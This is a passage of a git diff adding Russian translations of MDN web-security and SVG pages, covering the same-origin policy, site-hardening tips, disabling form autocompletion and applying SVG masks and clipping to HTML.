+ <dt><a href="/en-US/docs/Web/Security/Information_Security_Basics/Confidentiality,_Integrity,_and_Availability">Конфиденциальность, целостность и доступность</a></dt>
+ <dd>Статья описывает фундаментальные понятия по главным задачам безопасности</dd>
+ <dt><a href="/en-US/docs/Web/Security/Information_Security_Basics/Vulnerabilities">Уязвимости</a></dt>
+ <dd>Определяет основные категории уязвимостей и рассказывает о их существовании в программном обеспечении</dd>
+ <dt><a href="/en-US/docs/Web/Security/Information_Security_Basics/Threats">Угрозы</a></dt>
+ <dd>Вкратце знакомит с основными принципами угроз</dd>
+ <dt><a href="/en-US/docs/Web/Security/Information_Security_Basics/Security_Controls">Контроль безопасности</a> </dt>
+ <dd>Определяет основные категории контроля безопасности и рассказывает о их потенциальных слабостях</dd>
+ <dt><a href="/en-US/docs/Web/Security/Information_Security_Basics/TCP_IP_Security">Безопасность TCP/IP</a></dt>
+ <dd>Обзор TCP/IP модели, с упором на вопросы безопасности для SSL</dd>
+</dl>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Security">Браузерная безопасность</a></li>
+ <li><a href="/en-US/docs/Web/Security">Сетевая безопасность</a></li>
+ <li><a href="/en-US/docs/Web/Security/Securing_your_site">Безопасность вашего сайта</a></li>
+ <li><a href="/en-US/docs/Security/Firefox_Security_Basics_For_Developers">Основы безопасности в Firefox для Разработчиков</a></li>
+</ul>
+
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</p>
diff --git a/files/ru/web/security/same-origin_policy/index.html b/files/ru/web/security/same-origin_policy/index.html
new file mode 100644
index 0000000000..26be420015
--- /dev/null
+++ b/files/ru/web/security/same-origin_policy/index.html
@@ -0,0 +1,264 @@
+---
+title: Same-origin policy
+slug: Web/Security/Same-origin_policy
+translation_of: Web/Security/Same-origin_policy
+---
+<p><strong>Политика одинакового источника</strong> (same-origin policy) определяет как документ или скрипт, загруженный из одного источника ({{Glossary("origin")}}), может взаимодействовать с ресурсом из другого источника. Это помогает изолировать потенциально вредоносные документы, снижая количество возможных векторов атак.</p>
+
+<h2 id="Определение_origin">Определение origin</h2>
+
+<p>Две страницы имеют одинаковый origin (источник) если протокол , порт (если указан), и хост одинаковы для обоих страниц. Время от времени, вы можете видеть это как  "scheme/host/port tuple" (где "tuple"<sup> переводится как кортеж или запись</sup> набор из трех компонент, которые вместе составляют единое целое).</p>
+
+<p>В следующей таблице даны примеры origin-сравнений с URL <code>http://store.company.com/dir/page.html</code>:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>URL</th>
+   <th>Outcome</th>
+   <th>Reason</th>
+  </tr>
+  <tr>
+   <td><code>http://store.company.com/dir2/other.html</code></td>
+   <td>Success</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>http://store.company.com/dir/inner/another.html</code></td>
+   <td>Success</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>https://store.company.com/secure.html</code></td>
+   <td>Failure</td>
+   <td>Different protocol</td>
+  </tr>
+  <tr>
+   <td><code>http://store.company.com:81/dir/etc.html</code></td>
+   <td>Failure</td>
+   <td>Different port</td>
+  </tr>
+  <tr>
+   <td><code>http://news.company.com/dir/other.html</code></td>
+   <td>Failure</td>
+   <td>Different host</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Смотрите также <a href="/en-US/docs/Same-origin_policy_for_file:_URIs" title="Same-origin_policy_for_file:_URIs">origin definition for <code>file:</code> URLs</a>.</p>
+
+<h3 id="Наследование_origins">Наследование origins</h3>
+
+<p>Контент из <code>about:blank</code> и <code>javascript:</code> адреса наследуют источник документа, содержащего этот URL, поскольку они не содержат информации о сервере происхождения.</p>
+
+<div class="note">
+<p>Например, <code>about:blank</code> часто используется в качестве URL новых, пустых окон в которые родительский скрипт записывает контент (например, с помощью {{domxref("Window.open()")}}). Если это окно также содержит JavaScript, то скрипт будет наследовать то же происхождение, что и его родитель.</p>
+</div>
+
+<div class="blockIndicator warning">
+<p style="line-height: 30px;"><code>data:</code> адреса получают новый, пустой, безопасный контекст.</p>
+</div>
+
+<h3 id="Исключения_в_Internet_Explorer">Исключения в Internet Explorer</h3>
+
+<p>Internet Explorer два основных исключения из политики одно происхождеия:</p>
+
+<dl>
+ <dt>Trust Zones (Зоны доверия)</dt>
+ <dd>Если оба домена находятся в зоне высокого доверия (наример, зоны корпоративной интрасети), то ограничения на одно и то же происхождение не применяется.</dd>
+ <dt>Порт</dt>
+ <dd>IE не включает порт в same-origin проверку. Следовательно, <code>https://company.com:81/index.html</code> и <code>https://company.com/index.html</code> являются адресами одного происхождения и ограничения действовать не будут.</dd>
+</dl>
+
+<p>Эти исключения являются нестандартными и не поддерживаются в любом другом браузере</p>
+
+<h2 id="Изменение_origin">Изменение origin</h2>
+
+<p>Страница может изменить свой оригинальный origin с некоторыми ограничениями. Скрипт может установить значение {{domxref("document.domain")}} на текущий домен или супердомен текущего домена. Если значение будет установлено на супердомен текущего домена, более короткий домен будет использован для последующей проверки origin'а. Например, предполагается, что скрипт в документе по адресу <code>http://store.company.com/dir/other.html</code> выполняется следующим выражением:</p>
+
+<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">document<span class="punctuation token">.</span>domain <span class="operator token">=</span> <span class="string token">"company.com"</span><span class="punctuation token">;</span></code></pre>
+
+<p>После этого, страница может пройти такую же проверку на <code>http://company.com/dir/page.html</code> (<code>предполагая, что http://company.com/dir/page.html</code> установил <code>document.domain</code> в значение "<code>company.com</code>" чтобы указать, что у него получилось разрешение - смотри {{domxref("document.domain")}}). Однако, <code>company.com</code> <strong>не может </strong>установить <code>document.domain</code> в значение <code>othercompany.com</code>, поскольку это значение не является супердоменом <code>company.com</code>.</p>
+
+<p>Номер порта проверяется браузером отдельно. Любой вызов <code>document.domain</code>, включающий <code>document.domain = document.domain</code>, заменяет номер порта, устанавливая его в значение <code>null</code>. Следовательно, <strong>невозможно</strong> вызов <code>company.com:8080</code> обозначить <code>company.com</code> одной лишь установкой<code>document.domain = "company.com"</code> в начале. Он должен быть установлен в обоих случаях и номер портов в этих случаях должны равняться значению <code>null</code>.</p>
+
+<div class="note">
+<p><strong>Замечание:</strong> Когда используется <code>document.domain</code> для разрешения поддомена для родительского доступа к нему, вы должны установить <code>document.domain</code> в<em> такое же значение, </em>как в родительском домене, так и в поддомене. Это необходимо, даже если при этом просто восстанавливается исходное значение родительского домена. Несоблюдение этого правила может привести к ошибкам разрешений.</p>
+</div>
+
+<h2 id="Cross-origin_network_access">Cross-origin network access</h2>
+
+<p>The same-origin policy controls interactions between two different origins, such as when you use {{domxref("XMLHttpRequest")}} or an {{htmlelement("img")}} element. These interactions are typically placed into three categories:</p>
+
+<ul>
+ <li>Cross-origin <em>writes </em>are typically allowed. Examples are links, redirects and form submissions. Certain rarely used HTTP requests require <a href="/en-US/docs/HTTP/Access_control_CORS#Preflighted_requests" title="HTTP/Access_control_CORS#Preflighted_requests">preflight</a>.</li>
+ <li>Cross-origin <em>embedding </em>is typically allowed. Examples are listed below.</li>
+ <li>Cross-origin <em>reads </em>are typically not allowed, but read access is often leaked by embedding. For example, you can read the width and height of an embedded image, the actions of an embedded script, or the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=629094" title="https://grepular.com/Abusing_HTTP_Status_Codes_to_Expose_Private_Information">availability of an embedded resource</a>.</li>
+</ul>
+
+<p>Here are some examples of resources which may be embedded cross-origin:</p>
+
+<ul>
+ <li>JavaScript with <code>&lt;script src="..."&gt;&lt;/script&gt;</code>. Error messages for syntax errors are only available for same-origin scripts.</li>
+ <li>CSS with <code>&lt;link rel="stylesheet" href="..."&gt;</code>. Due to the <a href="http://scarybeastsecurity.blogspot.dk/2009/12/generic-cross-browser-cross-domain.html" title="http://scarybeastsecurity.blogspot.dk/2009/12/generic-cross-browser-cross-domain.html">relaxed syntax rules</a> of CSS, cross-origin CSS requires a correct <code>Content-Type</code> header. Restrictions vary by browser: <a href="http://msdn.microsoft.com/en-us/library/ie/gg622939%28v=vs.85%29.aspx" title="http://msdn.microsoft.com/en-us/library/ie/gg622939%28v=vs.85%29.aspx">IE</a>, <a href="http://www.mozilla.org/security/announce/2010/mfsa2010-46.html" title="http://www.mozilla.org/security/announce/2010/mfsa2010-46.html">Firefox</a>, <a href="http://code.google.com/p/chromium/issues/detail?id=9877" title="http://code.google.com/p/chromium/issues/detail?id=9877">Chrome</a>, <a href="http://support.apple.com/kb/HT4070" title="http://support.apple.com/kb/HT4070">Safari</a> (scroll down to CVE-2010-0051) and <a href="http://www.opera.com/support/kb/view/943/" title="http://www.opera.com/support/kb/view/943/">Opera</a>.</li>
+ <li>Images with {{htmlelement("img")}}. Supported image formats include PNG, JPEG, GIF, BMP, SVG, ...</li>
+ <li>Media files with {{htmlelement("video")}} and {{htmlelement("audio")}}.</li>
+ <li>Plug-ins with <a href="/en-US/docs/HTML/Element/object" title="HTML/Element/object"><code>&lt;object&gt;</code></a>, <a href="/en-US/docs/HTML/Element/embed" title="HTML/Element/embed"><code>&lt;embed&gt;</code></a> and <a href="/en-US/docs/HTML/Element/applet" title="HTML/Element/applet"><code>&lt;applet&gt;</code></a>.</li>
+ <li>Fonts with <a href="/en-US/docs/CSS/@font-face" title="CSS/@font-face"><code>@font-face</code></a>. Some browsers allow cross-origin fonts, others require same-origin fonts.</li>
+ <li>Anything with <a href="/en-US/docs/HTML/Element/frame" title="HTML/Element/frame"><code>&lt;frame&gt;</code></a> and <a href="/en-US/docs/HTML/Element/iframe" title="HTML/Element/iframe"><code>&lt;iframe&gt;</code></a>. A site can use the <code><a href="/en-US/docs/HTTP/X-Frame-Options" title="HTTP/X-Frame-Options">X-Frame-Options</a></code> header to prevent this form of cross-origin interaction.</li>
+</ul>
+
+<h3 id="How_to_allow_cross-origin_access">How to allow cross-origin access</h3>
+
+<p>Use <a href="/en-US/docs/HTTP/Access_control_CORS" title="HTTP/Access_control_CORS">CORS</a> to allow cross-origin access.</p>
+
+<h3 id="How_to_block_cross-origin_access">How to block cross-origin access</h3>
+
+<ul>
+ <li>To prevent cross-origin writes, check for an unguessable token in the request, known as a <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29" title="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29">Cross-Site Request Forgery (CSRF)</a> token. You must prevent cross-origin reads of pages that know this token.</li>
+ <li>To prevent cross-origin reads of a resource, ensure that it is not embeddable. It is often necessary to prevent embedding because embedding a resource always leaks some information about it.</li>
+ <li>To prevent cross-origin embedding, ensure that your resource cannot be interpreted as one of the embeddable formats listed above. The browser does not respect the <code>Content-Type</code> in most cases. For example, if you point a <code>&lt;script&gt;</code> tag at an HTML document, the browser will try to parse the HTML as JavaScript. When your resource is not an entry point to your site, you can also use a CSRF token to prevent embedding.</li>
+</ul>
+
+<h2 id="Cross-origin_script_API_access">Cross-origin script API access</h2>
+
+<p>JavaScript APIs such as <a href="/en-US/docs/DOM/HTMLIFrameElement" title="DOM/HTMLIFrameElement"><code>iframe.contentWindow</code></a>, {{domxref("window.parent")}}, {{domxref("window.open")}} and {{domxref("window.opener")}} allow documents to directly reference each other. When the two documents do not have the same origin, these references provide very limited access to <a href="/en-US/docs/Web/API/Window"><code>Window</code></a> and <a href="/en-US/docs/Web/API/Location"><code>Location</code></a> objects, as described in the next two sections.</p>
+
+<p>To communicate further between documents from different origins, use {{domxref("window.postMessage")}}.</p>
+
+<h3 id="Window">Window</h3>
+
+<p>Specification:  <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/browsers.html#security-window">http://www.whatwg.org/specs/web-apps/current-work/multipage/browsers.html#security-window</a>.</p>
+
+<p>The following cross-origin access to <code>Window</code> properties is allowed:</p>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Methods</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{domxref("window.blur")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.close")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.focus")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.postMessage")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attributes</th>
+   <th scope="col"></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{domxref("window.closed")}}</td>
+   <td>Read only.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.frames")}}</td>
+   <td>Read only.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.length")}}</td>
+   <td>Read only.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.location")}}</td>
+   <td>Read/write.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.opener")}}</td>
+   <td>Read only.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.parent")}}</td>
+   <td>Read only.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.self")}}</td>
+   <td>Read only.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.top")}}</td>
+   <td>Read only.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("window.window")}}</td>
+   <td>Read only.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Some browsers allow access to more properties than the specification allows.</p>
+
+<h3 id="Location">Location</h3>
+
+<p>Specification:  <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/browsers.html#security-location">http://www.whatwg.org/specs/web-apps/current-work/multipage/browsers.html#security-location</a>.</p>
+
+<p>The following cross-origin access to <code>Location</code> properties is allowed:</p>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Methods</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{domxref("location.replace")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attributes</th>
+   <th scope="col"></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{domxref("URLUtils.href")}}</td>
+   <td>Write only.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Some browsers allow access to more properties than the specification allows.</p>
+
+<h2 id="Cross-origin_data_storage_access">Cross-origin data storage access</h2>
+
+<p>Access to data stored in the browser such as <a href="/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a> and <a href="/en-US/docs/IndexedDB">IndexedDB</a> are separated by origin. Each origin gets its own separate storage, and JavaScript in one origin cannot read from or write to the storage belonging to another origin.</p>
+
+<p>Cookies use a separate definition of origins. A page can set a cookie for its own domain or any parent domain, as long as the parent domain is not a public suffix. Firefox and Chrome use the <a href="http://publicsuffix.org/">Public Suffix List</a> to determine if a domain is a public suffix. Internet Explorer uses its own internal method to determine if a domain is a public suffix. The browser will make a cookie available to the given domain including any sub-domains, no matter which protocol (HTTP/HTTPS) or port is used. When you set a cookie, you can limit its availability using the Domain, Path, Secure and Http-Only flags. When you read a cookie, you cannot see from where it was set. Even if you use only secure https connections, any cookie you see may have been set using an insecure connection.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Same-origin_policy_for_file:_URIs" title="Same-origin policy for file: URIs">Same-origin policy for file: URIs</a></li>
+ <li><a href="http://www.w3.org/Security/wiki/Same_Origin_Policy" title="http://www.w3.org/Security/wiki/Same_Origin_Policy">Same-Origin Policy at W3C</a></li>
+</ul>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+
+<ul>
+ <li>Author(s): Jesse Ruderman</li>
+</ul>
+</div>
+
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</p>
diff --git a/files/ru/web/security/securing_your_site/index.html b/files/ru/web/security/securing_your_site/index.html
new file mode 100644
index 0000000000..59682ddf82
--- /dev/null
+++ b/files/ru/web/security/securing_your_site/index.html
@@ -0,0 +1,55 @@
+---
+title: Securing your site
+slug: Web/Security/Securing_your_site
+tags:
+  - HTTP
+  - NeedsTranslation
+  - Security
+  - TopicStub
+  - Web Development
+  - Website Security
+translation_of: Web/Security/Securing_your_site
+---
+<p>{{ draft() }}</p>
+
+<p>There are a number of things you can do to help secure your site. This article offers an assortment of suggestions, as well as links to other articles providing more useful information.</p>
+
+<div class="note"><strong>Note:</strong> This article is a work in progress, and is neither complete nor does following its suggestions guarantee your site will be fully secure.</div>
+
+<h2 id="User_information_security">User information security</h2>
+
+<dl>
+ <dt><a href="/en/How_to_Turn_Off_Form_Autocompletion" title="en/How to Turn Off Form Autocompletion">How to turn off form autocompletion</a></dt>
+ <dd>Form fields support autocompletion in Gecko; that is, their values can be remembered and automatically brought back the next time the user visits your site. For certain types of data, you may wish to disable this feature.</dd>
+ <dt><a href="/en/CSS/Privacy_and_the_:visited_selector" title="en/CSS/Privacy and the :visited selector">Privacy and the :visited selector</a></dt>
+ <dd>This article discusses changes made to the <code>getComputedStyle()</code> method that eliminates the ability for malicious sites to figure out the user's browsing history.</dd>
+ <dt><a href="https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet">Hash passwords using a secure algorithm</a> (OWASP)</dt>
+ <dd>Storing passwords in plain text can lead to attackers knowing and leaking the exact password of your site's users, potentially putting the users at risk. The same issues can arise if you use an old or insecure algorithm for hashing (such as md5). You should use a password-specific hashing algorithm (such as Argon2, PBKDF2, scrypt or bcrypt) instead of message digest algorithms (such as md5 and sha). This article showcases best practices to use when storing passwords.</dd>
+</dl>
+
+<h2 id="Content_security">Content security</h2>
+
+<dl>
+ <dt><a href="/en/Properly_Configuring_Server_MIME_Types" title="en/Properly Configuring Server MIME Types">Properly configuring server MIME types</a></dt>
+ <dd>There are several ways incorrect MIME types can cause potential security problems with your site. This article explains some of those and shows how to configure your server to serve files with the correct MIME types.</dd>
+ <dt><a href="/en/Security/HTTP_Strict_Transport_Security" title="en/Security/HTTP Strict Transport Security">HTTP Strict Transport Security</a></dt>
+ <dd>The <code>Strict-Transport-Security:</code> <a href="/en/HTTP" title="en/HTTP">HTTP</a> header lets a website specify that it may only be accessed using HTTPS.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/CORS" title="En/HTTP access control">HTTP access control</a></dt>
+ <dd>The Cross-Origin Resource Sharing standard provides a way to specify what content may be loaded from other domains. You can use this to prevent your site from being used improperly; in addition, you can use it to establish resources that other sites are expressly permitted to use.</dd>
+ <dt><a href="/en/Security/CSP">Content Security Policy</a></dt>
+ <dd>An added layer of security that helps to detect and mitigate certain types of attacks, including {{Glossary("Cross-site_scripting", "Cross Site Scripting (XSS)")}} and data injection attacks. These attacks are used for everything from data theft to site defacement or distribution of malware. Code is executed by the victims and lets the attackers bypass access controls and impersonate users. According to the Open Web Application Security Project, XSS was the <a class="external external-icon" href="https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf" rel="noopener">seventh most common Web app vulnerability</a> in 2017.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/X-Frame-Options">The X-Frame-Options response header</a></dt>
+ <dd>
+ <p>The <code>X-Frame-Options:</code> <a href="/en/HTTP" title="en/HTTP">HTTP</a> response header can be used to indicate whether or not a browser should be allowed to render a page in a {{ HTMLElement("frame") }}. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites.</p>
+ </dd>
+ <dt>Securing Your Site using Htaccess</dt>
+ <dd>It is the best way to secure your site using the .htaccess file. You can blacklist IPs, restrict access to certain areas of website, protect different files, protect against image hotlinking, and a lot more.</dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="https://www.owasp.org/">Open Web Application Security Project (OWASP)</a></li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</div>
diff --git a/files/ru/web/security/securing_your_site/turning_off_form_autocompletion/index.html b/files/ru/web/security/securing_your_site/turning_off_form_autocompletion/index.html
new file mode 100644
index 0000000000..6d60a0d151
--- /dev/null
+++ b/files/ru/web/security/securing_your_site/turning_off_form_autocompletion/index.html
@@ -0,0 +1,70 @@
+---
+title: How to turn off form autocompletion
+slug: Web/Security/Securing_your_site/Turning_off_form_autocompletion
+translation_of: Web/Security/Securing_your_site/Turning_off_form_autocompletion
+---
+<p><span class="seoSummary">В этой статье объясняется как можно отключить автозаполнение полей на сайте.</span></p>
+
+<p>По умолчанию браузеры запоминают информацию, которую пользователи отправляют через {{HTMLElement("input")}} поля на сайтах. Это позволяет браузеру предлагать варианты для автодополнения (то есть предлагать возможные дополнения для полей, в которые пользователь начал вводить данные) или автозаполнение (то есть предварительно заполнять определенные поля при загрузке).</p>
+
+<p>Эти функции обычно включены по умолчанию, но они могут вызвать проблемы конфиденциальности пользователей, поэтому браузеры могут позволить отключать их. Однако некоторые данные, представленные в формах, либо не будут полезны в будущем (например, одноразовый пин-код), либо содержат конфиденциальную информацию (например, уникальный правительственный идентификатор или код безопасности кредитной карты). Как автор сайта, вы можете предпочесть, чтобы браузер не запоминал значения для таких полей, даже если в браузере включена функция автозаполнения.</p>
+
+<p>It is important to know that if you turn off autocomplete, you are <strong>breaking</strong> the rule <a href="https://www.w3.org/WAI/WCAG21/Understanding/identify-input-purpose.html">1.3.5: Identify Input Purpose in WCAG 2.1</a>. If you are making a website that should follow WCAG, you should use autocomplete with autofill.</p>
+
+<h2 id="Disabling_autocompletion">Disabling autocompletion</h2>
+
+<p>To disable autocompletion in forms, you can set the <code><a href="/en-US/docs/Web/HTML/Attributes/autocomplete">autocomplete</a></code> attribute to "off":</p>
+
+<pre class="brush: html">autocomplete="off"</pre>
+
+<p>You can do this either for an entire form, or for specific input elements in a form:</p>
+
+<pre class="brush: html">&lt;form method="post" action="/form" autocomplete="off"&gt;
+[…]
+&lt;/form&gt;</pre>
+
+<pre class="brush: html">&lt;form method="post" action="/form"&gt;
+  […]
+  &lt;div&gt;
+    &lt;label for="cc"&gt;Credit card:&lt;/label&gt;
+    &lt;input type="text" id="cc" name="cc" autocomplete="off"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Setting <code>autocomplete="off"</code> on fields has two effects:</p>
+
+<ul>
+ <li>It tells the browser not to save data inputted by the user for later autocompletion on similar forms, though heuristics for complying vary by browser.</li>
+ <li>It stops the browser from caching form data in the session history. When form data is cached in session history, the information filled in by the user is shown in the case where the user has submitted the form and clicked the Back button to go back to the original form page.</li>
+</ul>
+
+<p>If a browser keeps on making suggestions even after setting autocomplete to off, then you have to change the name attribute of the input element.</p>
+
+<h2 id="The_autocomplete_attribute_and_login_fields">The autocomplete attribute and login fields</h2>
+
+<p>Modern browsers implement integrated password management: when the user enters a username and password for a site, the browser offers to remember it for the user. When the user visits the site again, the browser autofills the login fields with the stored values.</p>
+
+<p>Additionally, the browser enables the user to choose a master password that the browser will use to encrypt stored login details.</p>
+
+<p>Even without a master password, in-browser password management is generally seen as a net gain for security. Since users do not have to remember passwords that the browser stores for them, they are able to choose stronger passwords than they would otherwise.</p>
+
+<p>For this reason, many modern browsers do not support <code>autocomplete="off"</code> for login fields:</p>
+
+<ul>
+ <li>If a site sets <code>autocomplete="off"</code> for a {{HTMLElement("form")}}, and the form includes username and password input fields, then the browser still offers to remember this login, and if the user agrees, the browser will autofill those fields the next time the user visits the page.</li>
+ <li>If a site sets <code>autocomplete="off"</code> for username and password {{HTMLElement("input")}} fields, then the browser still offers to remember this login, and if the user agrees, the browser will autofill those fields the next time the user visits the page.</li>
+</ul>
+
+<p>This is the behavior in Firefox (since version 38), Google Chrome (since 34), and Internet Explorer (since version 11).</p>
+
+<h3 id="Preventing_autofilling_with_autocompletenew-password">Preventing autofilling with autocomplete="new-password"</h3>
+
+<p>If you are defining a user management page where a user can specify a new password for another person, and therefore you want to prevent autofilling of password fields, you can use <code>autocomplete="new-password"</code>.</p>
+
+<p>This is a hint, which browsers are not required to comply with. However modern browsers have stopped autofilling <code>&lt;input&gt;</code> elements with <code>autocomplete="new-password"</code> for this very reason. For example, Firefox version 67 (see {{bug(1119063)}}) stopped autofilling in this case; however, Firefox 70 (see {{bug(1565407)}}) can suggest securely-generated passwords, but does not autofill a saved password. See the <a href="/en-US/docs/Web/HTML/Attributes/autocomplete#Browser_compatibility"><code>autocomplete</code> compat table</a> for more details.</p>
+
+<h2 id="Tools_for_disabling_autocompletion">Tools for disabling autocompletion</h2>
+
+<p>The <a href="https://terrylinooo.github.io/jquery.disableAutoFill/">jquery.disableAutoFill</a> plugin randomizes an input's <code>name</code> attribute by default. When the form is submitted, the plugin restores the original name. This prevents auto-completion for all browsers (includes third-party auto-completion extensions) but doesn't necessarily help with login fields.</p>
+
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</p>
diff --git a/files/ru/web/svg/applying_svg_effects_to_html_content/index.html b/files/ru/web/svg/applying_svg_effects_to_html_content/index.html
new file mode 100644
index 0000000000..db88faea3f
--- /dev/null
+++ b/files/ru/web/svg/applying_svg_effects_to_html_content/index.html
@@ -0,0 +1,234 @@
+---
+title: Применение эффектов SVG к содержимому HTML
+slug: Web/SVG/Applying_SVG_effects_to_HTML_content
+translation_of: Web/SVG/Applying_SVG_effects_to_HTML_content
+---
+<p>Современные браузеры поддерживают <a href="/en-US/docs/SVG">SVG</a> в стилях <a href="/en-US/docs/Web/CSS" title="Cascading Style Sheets">CSS</a> для применения графических эффектов к HTML-контенту.</p>
+
+<p>Вы можете указать SVG в стилях как внутри одного документа, так и из внешней таблицы стилей. Есть 3 свойства, которые вы можете использовать: <a href="/en-US/docs/Web/CSS/mask"><code>mask</code></a>, <a href="/en-US/docs/Web/CSS/clip-path"><code>clip-path</code></a>, и <a href="/en-US/docs/Web/CSS/filter"><code>filter</code></a>. </p>
+
+<div class="note"><strong>Примечание:</strong> Ссылки на SVG во внешних файлах должны быть в том же самом источнике <a href="/en-US/docs/Web/Security/Same-origin_policy">same origin</a> , что и ссылочный документ.</div>
+
+<h2 id="Использование_встроенного_SVG">Использование встроенного SVG</h2>
+
+<p>Чтобы применить эффект SVG с использованием стилей CSS, вам нужно сначала создать стиль CSS, который ссылается на SVG. </p>
+
+<pre class="brush: html">&lt;style&gt;p { mask: url(#my-mask); }&lt;/style&gt;
+</pre>
+
+<p>В приведенном выше примере все параграфы маскируются с помощью <a href="/en-US/docs/Web/SVG/Element/mask">SVG</a> <a href="/en-US/docs/Web/SVG/Element/mask"><code>&lt;mask&gt;</code></a>  с <a href="/en-US/docs/Web/HTML/Global_attributes/id">ID</a> <code>my-mask</code>. </p>
+
+<h3 id="Пример_маскировка">Пример: маскировка</h3>
+
+<p>Например, вы можете сделать градиентную маску для содержимого HTML, используя код SVG и CSS, похожий на следующий, внутри вашего документа HTML:</p>
+
+<pre class="brush: html">&lt;svg height="0"&gt;
+  &lt;mask id="mask-1"&gt;
+    &lt;linearGradient id="gradient-1" y2="1"&gt;
+      &lt;stop stop-color="white" offset="0"/&gt;
+      &lt;stop stop-opacity="0" offset="1"/&gt;
+    &lt;/linearGradient&gt;
+    &lt;circle cx="0.25" cy="0.25" r="0.25" id="circle" fill="white"/&gt;
+    &lt;rect x="0.5" y="0.2" width="300" height="100" fill="url(#gradient-1)"/&gt;
+  &lt;/mask&gt;
+&lt;/svg&gt;
+</pre>
+
+<pre class="brush: css">.target {
+  mask: url(#mask-1);
+}
+p {
+  width: 300px;
+  border: 1px solid #000;
+  display: inline-block;
+}</pre>
+
+<p>Обратите внимание, что в CSS маска указана с использованием URL-адреса ID- <code>#mask-1</code>, которая является идентификатором маски SVG, указанной ниже. Все остальное указывает подробности о самой маске градиента.</p>
+
+<p>Применение SVG-эффекта к (X) HTML выполняется путем назначения <code>target</code> классу, определенному выше элементу, например:</p>
+
+<pre class="brush: html">&lt;p class="target" style="background:lime;"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
+    ut labore et dolore magna aliqua. Ut enim ad minim veniam.
+&lt;/p&gt;
+&lt;p&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing
+    &lt;b class="target"&gt;elit, sed do eiusmod tempor incididunt
+    ut labore et dolore magna aliqua.&lt;/b&gt;
+    Ut enim ad minim veniam.
+&lt;/p&gt;
+</pre>
+
+<p>Вышеприведенный пример будет отображаться с помощью маски, применяемой к нему.</p>
+
+<p>{{EmbedLiveSample('Example_Masking', 650, 200)}}</p>
+
+<h3 id="Пример_обрезание">Пример: обрезание</h3>
+
+<p>Этот пример демонстрирует использование SVG для клипа содержимого HTML. Обратите внимание, что даже кликаемые области для ссылок обрезаются.</p>
+
+<pre class="brush: html">&lt;p class="target" style="background:lime;"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
+    ut labore et dolore magna aliqua. Ut enim ad minim veniam.
+&lt;/p&gt;
+&lt;p&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing
+    &lt;b class="target"&gt;elit, sed do eiusmod tempor incididunt
+    ut labore et dolore magna aliqua.&lt;/b&gt;
+    Ut enim ad minim veniam.
+&lt;/p&gt;
+
+&lt;button onclick="toggleRadius()"&gt;Toggle radius&lt;/button&gt;
+
+&lt;svg height="0"&gt;
+  &lt;clipPath id="clipping-path-1" clipPathUnits="objectBoundingBox"&gt;
+    &lt;circle cx="0.25" cy="0.25" r="0.25" id="circle"/&gt;
+    &lt;rect x="0.5" y="0.2" width="0.5" height="0.8"/&gt;
+  &lt;/clipPath&gt;
+&lt;/svg&gt;
+</pre>
+
+<pre class="brush: css">.target {
+  clip-path: url(#clipping-path-1);
+}
+p {
+  width: 300px;
+  border: 1px solid #000;
+  display: inline-block;
+}</pre>
+
